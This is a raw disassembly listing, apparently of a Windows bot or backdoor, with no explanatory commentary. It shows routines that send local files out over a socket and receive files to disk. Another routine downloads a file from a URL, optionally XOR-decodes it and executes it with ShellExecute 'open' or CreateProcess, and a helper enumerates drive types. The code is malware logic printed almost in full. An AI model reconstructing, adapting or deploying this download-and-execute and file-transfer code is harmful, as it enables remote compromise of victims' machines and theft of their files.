loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 2750000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2780B63h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2730000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2750000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 2700000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2750000h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		call	near ptr 26B0C98h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2740000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26B0C98h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 268024Eh
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
